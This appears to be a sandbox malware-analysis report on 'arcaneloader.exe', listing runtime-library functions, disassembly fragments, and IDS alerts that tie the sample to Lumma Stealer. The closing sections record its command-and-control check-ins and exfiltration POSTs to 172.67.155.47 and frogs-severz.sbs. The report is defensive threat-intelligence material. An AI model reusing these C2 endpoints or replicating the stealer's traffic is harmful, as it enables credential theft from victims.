Source File: 00000003.00000002.2348371025.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000003.00000002.2348295977.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348464972.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348511210.0000000000DDB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348615510.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348658411.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348737927.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_db0000_arcaneloader.jbxd

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: ef993e3b6143829f664b0eadcc4ad17e4918941c14c5a857637eecb17c035a1a
Instruction ID: 020b0d047f95a929d8fc9fab7d67e6e9f3cfbaf46c5fa7d9a943ab3dad85a5b9
Opcode Fuzzy Hash: ef993e3b6143829f664b0eadcc4ad17e4918941c14c5a857637eecb17c035a1a
Instruction Fuzzy Hash: 4241367190020AAFCF16DF98C995EEEBBB5EF48304F188099F905A7261D735A950DB60

Function 00DCDC5E Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00DCDCFA,00000000,?,00DDCCD0,?,?,?,00DCDC31,00000004,InitializeCriticalSectionEx,00DD46F8,00DD4700), ref: 00DCDC6B
GetLastError.KERNEL32(?,00DCDCFA,00000000,?,00DDCCD0,?,?,?,00DCDC31,00000004,InitializeCriticalSectionEx,00DD46F8,00DD4700,00000000,?,00DC971C), ref: 00DCDC75
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00DCDC9D

Strings

api-ms-, xrefs: 00DCDC82

Memory Dump Source

Source File: 00000003.00000002.2348371025.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000003.00000002.2348295977.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348464972.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348511210.0000000000DDB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348615510.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348658411.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348737927.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_db0000_arcaneloader.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 97581165e011446ee7df1e938ecc64b6adf033d89482b29bf4bffa3f1d2e1911
Instruction ID: 539e145d37cd73976ff6286b6199b0647ab5247c385f4350095ee8af228ff6dc
Opcode Fuzzy Hash: 97581165e011446ee7df1e938ecc64b6adf033d89482b29bf4bffa3f1d2e1911
Instruction Fuzzy Hash: FAE04830640306BFEF202B61DD06F593B5AAB00B54F244035F90DE91E1EBB3E811D578

Function 00DCE5E8 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(BB40E64E,00000000,00000000,?), ref: 00DCE64B

Part of subcall function 00DCD131: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,000000FF,?,?,00000000,?,?,00DC87B1,?,00000000,?), ref: 00DCD192

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00DCE89D
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00DCE8E3
GetLastError.KERNEL32 ref: 00DCE986

Memory Dump Source

Source File: 00000003.00000002.2348371025.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000003.00000002.2348295977.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348464972.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348511210.0000000000DDB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348615510.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348658411.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348737927.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_db0000_arcaneloader.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: e5c504167f041f601f89215a36938543a9398bfe227707c1db623df7fad8db38
Instruction ID: 37034e598b144b05a9351c81658befe744e85b4a909ab2c9c97424389b73f3f9
Opcode Fuzzy Hash: e5c504167f041f601f89215a36938543a9398bfe227707c1db623df7fad8db38
Instruction Fuzzy Hash: 49D16AB5D0025A9FCB15CFA8C890AADBBB5FF09314F28452EE456EB351D630A942CF60

Function 00DC8EFC Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00DC8FC3
___AdjustPointer.LIBCMT ref: 00DC8FE6
___AdjustPointer.LIBCMT ref: 00DC9082

Memory Dump Source

Source File: 00000003.00000002.2348371025.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000003.00000002.2348295977.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348464972.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348511210.0000000000DDB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348615510.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348658411.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348737927.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_db0000_arcaneloader.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 6677de2bac84ea8cacb37053476c188abd695f2353a5cc1b37f028841f14822d
Instruction ID: c08e5173d081f92745898ffdeb569455aa9c87041f1080513b757ffe2d86e089
Opcode Fuzzy Hash: 6677de2bac84ea8cacb37053476c188abd695f2353a5cc1b37f028841f14822d
Instruction Fuzzy Hash: 7A510372605607AFEB298F54D855FBAB3A5FF40300F18012DE9458B291EB31EC80EBB0

Function 00DCC5B8 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 00DCD131: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,000000FF,?,?,00000000,?,?,00DC87B1,?,00000000,?), ref: 00DCD192

GetLastError.KERNEL32(?,?,?,00000000,00000000,?,00DCC95E,?,?,?,00000000), ref: 00DCC61C
__dosmaperr.LIBCMT ref: 00DCC623
GetLastError.KERNEL32(00000000,00DCC95E,?,?,00000000,?,?,?,00000000,00000000,?,00DCC95E,?,?,?,00000000), ref: 00DCC65D
__dosmaperr.LIBCMT ref: 00DCC664

Memory Dump Source

Source File: 00000003.00000002.2348371025.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000003.00000002.2348295977.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348464972.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348511210.0000000000DDB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348615510.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348658411.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348737927.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_db0000_arcaneloader.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: b7f0651f1b6aea17df619c441015f676bd261bc9d3d30e8f0c57d26f7bfba751
Instruction ID: 79057b10d5cc6b9d47d8f3985c3534dff67bd3f1d49d57fb52b2e768cd64aa7f
Opcode Fuzzy Hash: b7f0651f1b6aea17df619c441015f676bd261bc9d3d30e8f0c57d26f7bfba751
Instruction Fuzzy Hash: 8021C171250307AF8B10AF618981F2AB7A8EF45364714A41DFA5DD3161D730EC418BB0

Function 00DCCB54 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2348371025.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000003.00000002.2348295977.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348464972.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348511210.0000000000DDB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348615510.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348658411.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348737927.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_db0000_arcaneloader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f55578251bd57c0674679200173d828499dec0ef773357c91388d9dfb305951e
Instruction ID: b8b64b6b8165deddbca5941780c5d62e5d308860d8b367aa7ed0bd5b45a1935f
Opcode Fuzzy Hash: f55578251bd57c0674679200173d828499dec0ef773357c91388d9dfb305951e
Instruction Fuzzy Hash: EE21C271210207AFCB20AFA5CD82F2A77A9EF403A4704551DFA1CD7151D730EC419BB0

Function 00DCD22D Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00DCD235

Part of subcall function 00DCD131: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,000000FF,?,?,00000000,?,?,00DC87B1,?,00000000,?), ref: 00DCD192

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00DCD26D
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00DCD28D

Memory Dump Source

Source File: 00000003.00000002.2348371025.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000003.00000002.2348295977.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348464972.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348511210.0000000000DDB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348615510.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348658411.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348737927.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_db0000_arcaneloader.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 68134f9757f404dcabdaf9d8e0d84a23446447694307351af22b3919cb8eddd1
Instruction ID: 711c78ee95212e3357f446c634a5138c4a18b43789fe0627891e7d37245a02cd
Opcode Fuzzy Hash: 68134f9757f404dcabdaf9d8e0d84a23446447694307351af22b3919cb8eddd1
Instruction Fuzzy Hash: 1311DBF160161B7E6B1127B19C8AE7FFA5DDE853A4714003EF802D3142FB60CD025579

Function 00DD07C0 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,00DCFF31,00000000,00000001,00000000,?,?,00DCE9DA,?,00000000,00000000), ref: 00DD07D7
GetLastError.KERNEL32(?,00DCFF31,00000000,00000001,00000000,?,?,00DCE9DA,?,00000000,00000000,?,?,?,00DCE320,00000000), ref: 00DD07E3

Part of subcall function 00DD0840: CloseHandle.KERNEL32(FFFFFFFE,00DD07F3,?,00DCFF31,00000000,00000001,00000000,?,?,00DCE9DA,?,00000000,00000000,?,?), ref: 00DD0850

___initconout.LIBCMT ref: 00DD07F3

Part of subcall function 00DD0815: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00DD07B1,00DCFF1E,?,?,00DCE9DA,?,00000000,00000000,?), ref: 00DD0828

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,00DCFF31,00000000,00000001,00000000,?,?,00DCE9DA,?,00000000,00000000,?), ref: 00DD0808

Memory Dump Source

Source File: 00000003.00000002.2348371025.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000003.00000002.2348295977.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348464972.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348511210.0000000000DDB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348615510.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348658411.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348737927.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_db0000_arcaneloader.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 9ff3f316b3c75579c1ea3984fce911a635f8e057f1265b1cb03af52e05fc8696
Instruction ID: ecfe8ec6e32544ad678ebe577ac54dacebe8b71850c013c0a54d27bab4335dde
Opcode Fuzzy Hash: 9ff3f316b3c75579c1ea3984fce911a635f8e057f1265b1cb03af52e05fc8696
Instruction Fuzzy Hash: 36F0FE36001658BBCF222F91DC04A897F2AFF48361F058413FA1885221C6728820ABB1

Function 00DC8D6C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 93COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00DC8D75

Strings

csm, xrefs: 00DC8D97
csm, xrefs: 00DC8E08

Memory Dump Source

Source File: 00000003.00000002.2348371025.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000003.00000002.2348295977.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348464972.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348511210.0000000000DDB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348615510.0000000000DDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348658411.0000000000DE1000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2348737927.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_db0000_arcaneloader.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: 0f9ffa1bd6b0708ec7e4353c37ada42874482dc784854197947462106587b8ee
Instruction ID: 676b56211a7c009ff9a50c3a765d87f9a73a40f95d696d97c4cd47c575a42ec1
Opcode Fuzzy Hash: 0f9ffa1bd6b0708ec7e4353c37ada42874482dc784854197947462106587b8ee
Instruction Fuzzy Hash: F331D27640025AEFCF225F94C804EAA7B6AFF08324B18455EF8455B121CB33DD61FBA1

Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then push eax	3_2_0040C10E
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ebx+54h]	3_2_004269C2
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then mov ecx, eax	3_2_0042F246
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ecx-5E227A31h]	3_2_0040B270
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then movzx eax, byte ptr [edi+edx-45495408h]	3_2_0040CA1E
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-7B267145h]	3_2_004222F0
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	3_2_00442460
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then lea ecx, dword ptr [eax+eax]	3_2_0040D487
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-0B32BA1Ah]	3_2_0040D487
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+20802921h]	3_2_0040ED41
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then mov edi, ecx	3_2_0040ADDB
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_0042EDFB
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then movzx eax, byte ptr [esp+ebx+04h]	3_2_00429590
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ebp]	3_2_0043F6C2
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 1CE638E1h	3_2_00441E80
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then movzx edi, byte ptr [esp+edx-0015297Fh]	3_2_0040CFE5
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_0042E84B
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-14DFF37Eh]	3_2_00426810
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then movzx edx, byte ptr [edi+ecx+7F6CBAB8h]	3_2_0042C0DE
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then movsx eax, byte ptr [ebp+ecx+00h]	3_2_004410E0
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then mov byte ptr [eax], cl	3_2_0041B888
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then mov word ptr [edi], cx	3_2_0041B888
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_0042E8AB
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then cmp dword ptr [ecx+edi*8], 484CE391h	3_2_004428B0
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then movzx edi, byte ptr [ebp+ecx-3AD6A7F4h]	3_2_0043A968
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then movsx eax, byte ptr [ebp+ecx+00h]	3_2_004411C0
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then mov esi, ecx	3_2_0043E18E
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then mov esi, ecx	3_2_00440268
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 6DBC3610h	3_2_0043D2C0
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then mov edx, eax	3_2_0041B2ED
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then movzx edx, byte ptr [edi+ecx+7F6CBAB8h]	3_2_0042C281
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then mov word ptr [ebx], ax	3_2_00420299
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+08h]	3_2_00420299
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_0041F2A9
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then mov word ptr [ebx], ax	3_2_004202AC
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+08h]	3_2_004202AC
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ebp]	3_2_0043FAB9
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then movzx ecx, byte ptr [ebx+eax-2167E826h]	3_2_0042EB58
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then movzx eax, byte ptr [edi+edx-45495408h]	3_2_0040CB0E
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	3_2_00425330
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then mov ecx, eax	3_2_0040E3C6
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+04h]	3_2_00442BD0
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 4F699CD4h	3_2_00442BD0
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then mov byte ptr [eax], cl	3_2_0041B382
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then mov byte ptr [esi], cl	3_2_00429BAB
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then movzx ecx, byte ptr [ebx+eax-2167E826h]	3_2_0042EBBA
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then mov byte ptr [edi], cl	3_2_0041F416
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+30h]	3_2_00425C1F
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+1Ch]	3_2_0042C430
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then movzx edx, word ptr [edi+ebp*4]	3_2_00407CD0
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then mov edi, eax	3_2_00402CA0
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	3_2_0042D550
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then movzx edx, byte ptr [ebp+ebx+00h]	3_2_00401D20
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then mov ecx, edx	3_2_0042DDD6
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_0042DDD6
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_0041ED81
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then movsx eax, byte ptr [ebp+ecx+00h]	3_2_00440E40
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then mov eax, dword ptr [ebp-1Ch]	3_2_0040A64A
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx-2C0ED492h]	3_2_00441660
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then movsx eax, byte ptr [ebp+ecx+00h]	3_2_00441660
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	3_2_00437670
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then mov ebx, eax	3_2_0041DE18
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+70h]	3_2_00409E30
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then mov ecx, eax	3_2_0042F6C5
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+0Ch]	3_2_0040DECF
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then mov byte ptr [edi], bl	3_2_004096E0
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_0042EDF6
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+eax-0DBDBB60h]	3_2_00419F53
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then movsx eax, byte ptr [ebp+ecx+00h]	3_2_00440F70
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	3_2_00401F10
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then mov byte ptr [edi], cl	3_2_0042FF10
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then mov byte ptr [edi], cl	3_2_0042FF10
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_00423F20
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then movsx eax, byte ptr [ebp+ecx+00h]	3_2_00440FCA
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then movzx eax, byte ptr [ebp+edi+00000090h]	3_2_00402FD0
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_0042E7D7
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then mov byte ptr [edi], 00000020h	3_2_0042E7F5
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	3_2_0042CFB0
Source: C:\Users\user\Desktop\arcaneloader.exe	Code function: 4x nop then cmp dword ptr [esi+edi*8], AF0E0C2Eh	3_2_0043CFB0

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49707 -> 172.67.155.47:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49707 -> 172.67.155.47:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49724 -> 172.67.155.47:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49709 -> 172.67.155.47:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49709 -> 172.67.155.47:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49746 -> 172.67.155.47:443

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49718 -> 172.67.155.47:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49734 -> 172.67.155.47:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49724 -> 172.67.155.47:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49711 -> 172.67.155.47:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49709 -> 172.67.155.47:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49707 -> 172.67.155.47:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49746 -> 172.67.155.47:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49712 -> 172.67.155.47:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: frogs-severz.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 54Host: frogs-severz.sbs
